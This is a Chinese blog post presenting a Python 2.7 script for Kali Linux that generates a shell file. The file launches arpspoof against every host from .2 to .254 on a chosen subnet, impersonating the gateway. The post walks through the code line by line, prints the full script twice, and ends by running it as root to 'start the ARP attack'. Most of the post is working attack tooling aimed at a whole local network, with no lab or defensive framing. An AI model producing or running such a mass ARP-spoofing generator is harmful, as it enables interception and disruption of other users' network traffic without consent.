# PYthon脚本arpspoof自动生成

PYthon编写KALI工具Arpspoof脚本 自动生成Shell文件

编写使用软件

vscode

python版本

2.7.18

适用系统

Windows Linux mac

脚本解析
#coding=utf-8

开头声明utf-8字符编码 此脚本执行时要输出中文

#定义函数
spot=('.')
Space=(' ')
gateway=('网关')
and_symbol=('&')
arp=('arpspoof')
IP_end=('IP结束')
IP_start=('IP开始') 
Specify_gateway=('-t')
Specify_network_card=('-i')

定义脚本需要用到的函数 根据自己的环境定义

#定义网卡
print('指定网卡')
network_card=raw_input()

询问攻击机使用的网卡 并写入网卡

#定义IP开始结束
print('IP第一段')
IP1=input()
print('IP第二段')
IP2=input()
print('IP第三段')
IP3=input()

定义IP前三段函数
例如IP前三段 如192.168.100

#IP第四段开始
IP4KS=2
#IP第四段结束
IP4JS=254

IP第四段开始为2 结束为254

#定义网关
print('网关第一段')
WG1=input()
print('网关第二段')
WG2=input()
print('网关第三段')
WG3=input()
print('网关第四段')
WG4=input()

定义网关1-4段 如 192.168.100.1

#IP开始及结束
IPKS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4KS))
IPJS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4JS))

IPKS意为IP开始由(IP1 点 IP2 点 IP3 点 IP4开始)组成
如 192.168.100.1
IPJS意为IP结束由(IP1 点 IP2 点 IP3 点 IP4结束)组成
如192.168.100.254

#网关
WG=('%s%s%s%s%s%s%s' %(WG1,spot,WG2,spot,WG3,spot,WG4))

WG意为(网关1 点 网关2 点 网关3 点 网关4)组成
如192.168.100.1

#输出IP开始
print('%s%s%s' %(IP_start,Space,IPKS))

输出开始IP 由(IP前三段 空格 IP开始)组成
输出结果为 (IP开始 192.168.100.2)

#输出IP结束
print('%s%s%s' %(IP_end,Space,IPJS))

输出结束IP 由(IP前三段 空格 IP结束)组成
输出结果为 (IP开始 192.168.100.254)

#输出网关
print('%s%s%s' %(gateway,Space,WG))

输出网关 由(网关 空格 网关地址)组成
输出结果为 192.168.100.1

#IP前三段
IPQSD=('%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot))

定义IP前三段 由(IP1 点 IP2 点 IP3 点)组成

#命令执行前
Before_output_One=('%s%s%s%s%s%s%s%s%s' %(arp,Space,Specify_network_card,Space,network_card,Space,Specify_gateway,Space,IPQSD,))
Before_output_Two=('%s%s' %(Space,WG))

命令执行前 将函数拼接分为两段 为接下来的组合做准备
Before_output_One 由(arpspoof 空格 -i 空格 网卡 空格 -t 空格 IP前三段) 组成
输出结果为 arpspoof -i 网卡 -t 192.168.100.
Before_output_Two 由(空格 网关)组成
输出结果为 空格 192.168.100.1
拼接结果为 arpspoof -i 网卡 -t 192.180.100.(待生成的IP) 192.168.100.1

#判断是否执行
print('1.开始执行 2.取消执行')
judge_One = input('请选择:')

询问是否执行脚本

#IP开始减一 防止后续导出错误
IP4KS = IP4KS - 1

IP开始-1 本脚本使用的是while循环+1 现在-1是为了执行时从1开始加 输出第一行的数就是2

#开始判断是否执行
if judge_One == 1:
    print('开始输出')

判断输入为1 开始输出执行结果

    #清除之前的脚本
    with open("arp.sh","w") as f:
        f.write("")

脚本自动生成一个Shell文件 这里是为了清空之前生成的脚本

    #开始输出
    while IP4KS<IP4JS:
        IP4KS=IP4KS+1
        end=('%s%s%s%s' %(Before_output_One,IP4KS,Before_output_Two,and_symbol))
        print(end)
        f = open('arp.sh','a')
        f.write(str(end)+'\n')
        f.close()

IP刚刚-1 现在为1 现在+1 进入循环 第一次输出就是2
拼接结果为 arpspoof -i 网卡 -t 开始IP-结束IP 网关&
例如 arpspoof -i eth0 -t 192.168.100.2 192.168.100.1& 一直输出到192.168.100.254
在脚本路径下新建一个arp.sh文件 并将输出到结果写入到Shell脚本中

elif judge_One == 2:
    print('取消执行')

判断输入为 取消执行脚本

else:
    print('选择错误 取消执行')

输出结果不为1或者2 则取消执行脚本
执行脚本

执行脚本系统

Kali系统
Linux-Kali 5.10.0

Linux-Kali PYthon版本

# PYthon脚本arpspoof自动生成_第1张图片
PYthon 2.7.18

执行过程

在这里插入图片描述

选择脚本开始执行

# PYthon脚本arpspoof自动生成_第2张图片
# PYthon脚本arpspoof自动生成_第3张图片

填写脚本内容

# PYthon脚本arpspoof自动生成_第4张图片

输出结果

# PYthon脚本arpspoof自动生成_第5张图片

python脚本目录下已经出现arp.sh文件

# PYthon脚本arpspoof自动生成_第6张图片

查看arp.sh文件 脚本已经生成完成

# PYthon脚本arpspoof自动生成_第7张图片

Root权限下 chmod +x arp.sh 赋予执行权限

在这里插入图片描述

Root权限下 ./arp.sh 开始执行ARP攻击

最后附上整个脚本

#coding=utf-8

#定义函数
spot=('.')
Space=(' ')
gateway=('网关')
and_symbol=('&')
arp=('arpspoof')
IP_end=('IP结束')
IP_start=('IP开始') 
Specify_gateway=('-t')
Specify_network_card=('-i')

#定义网卡
print('指定网卡')
network_card=raw_input()

#定义IP开始结束
print('IP第一段')
IP1=input()
print('IP第二段')
IP2=input()
print('IP第三段')
IP3=input()

#IP第四段开始
IP4KS=2

#IP第四段结束
IP4JS=254

#定义网关
print('网关第一段')
WG1=input()
print('网关第二段')
WG2=input()
print('网关第三段')
WG3=input()
print('网关第四段')
WG4=input()

#IP开始及结束
IPKS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4KS))
IPJS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4JS))

#网关
WG=('%s%s%s%s%s%s%s' %(WG1,spot,WG2,spot,WG3,spot,WG4))

#输出IP开始
print('%s%s%s' %(IP_start,Space,IPKS))

#延迟
import time
time.sleep(1)

#输出IP结束
print('%s%s%s' %(IP_end,Space,IPJS))

#延迟
import time
time.sleep(1)

#输出网关
print('%s%s%s' %(gateway,Space,WG))

#IP前三段
IPQSD=('%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot))

#命令执行前
Before_output_One=('%s%s%s%s%s%s%s%s%s'  %(arp,Space,Specify_network_card,Space,network_card,Space,Specify_gateway,Space,IPQSD,))
Before_output_Two=('%s%s' %(Space,WG))

#延迟
import time
time.sleep(1)

#判断是否执行
print('1.开始执行 2.取消执行')
judge_One = input('请选择:')

#IP开始减一 防止后续导出错误
IP4KS = IP4KS - 1

#开始判断是否执行
if judge_One == 1:
    print('开始输出')

    #延迟
    import time
    time.sleep(1)

    #清除之前的脚本
    with open("arp.sh","w") as f:
        f.write("")

    #开始输出
    while IP4KS<IP4JS:
        IP4KS=IP4KS+1
        end=('%s%s%s%s' %(Before_output_One,IP4KS,Before_output_Two,and_symbol))
        print(end)
        f = open('arp.sh','a')
        f.write(str(end)+'\n')
        f.close()

elif judge_One == 2:
    #延迟
    import time
    time.sleep(1)
    print('取消执行')

else:
    #延迟
    import time
    time.sleep(1)
    print('选择错误 取消执行')

初次写博客 如果问题 还请见谅

你可能感兴趣的:(PYthon脚本,python,shell,网络安全)